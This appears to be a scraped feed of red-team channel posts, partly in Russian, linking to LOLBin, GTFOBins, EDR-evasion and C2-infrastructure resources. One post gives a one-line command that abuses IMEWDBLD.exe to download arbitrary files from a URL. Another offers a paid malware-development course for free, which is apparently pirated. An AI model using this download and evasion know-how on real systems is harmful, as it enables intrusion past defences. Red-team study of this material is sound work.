LoLBins in attacks
Link

#windows
#redteam
#lolbin
———
@islemolecule_source

LOLBin: fhmanagew.exe
Link


#windows
#redteam
#lolbin
———
@islemolecule_source

LOLBin for Downloading Arbitrary Files

C:\Windows\System32\IME\SHARED\IMEWDBLD.exe <URL>

Find the downloaded file in

%LocalAppData%\Microsoft\Windows\INetCache\<8_RANDOM_ALNUM_CHARS>/<FILENAME>[1].<EXTENSION>

#windows
#redteam
#lolbin
———
@islemolecule_source

"GTFOBins is a curated list of Unix binaries that can be used to bypass local security restrictions in misconfigured systems."

Link

#linux
#redteam
#lolbin
———
@islemolecule_source

What the Vuln: EDR Bypass with LoLBins
Link

#windows
#redteam
#lolbin
———
@islemolecule_source

Аналог GetProcAddress, но написан на ассемблере. Гуд...

https://github.com/WKL-Sec/FuncAddressPro

#redteam #maldev #evasion

Аналог GetProcAddress, но написан на ассемблере. Гуд...

https://github.com/WKL-Sec/FuncAddressPro

#redteam #maldev #evasion

Один из подписчиков поделился новым курсом от Sektor7, и был не против отдать его в массы. Это уже третья часть про разработку малвари: Malware Development Advanced Vol.1

Остальные курсы Sector7 тоже есть на канале:
1. RTO: Malware Development Essentials
2. RTO: Windows Persistence
3. RTO: Privilege Escalation in Windows
4. RTO: Malware Development Intermediate
5. RTO: Evasion Windows

#course #malware #redteam #pentest

Red Team infrastructure hardening resources
[+] GitHub

This wiki is intended to provide a resource for setting up a resilient Red Team infrastructure. It was made to complement Steve Borosh (@424f424f) and Jeff Dimmock's (@bluscreenofjeff) BSides NoVa 2017 talk "Doomsday Preppers: Fortifying Your Red Team Infrastructure" (slides)

[ Slides ]

#c2 #redteam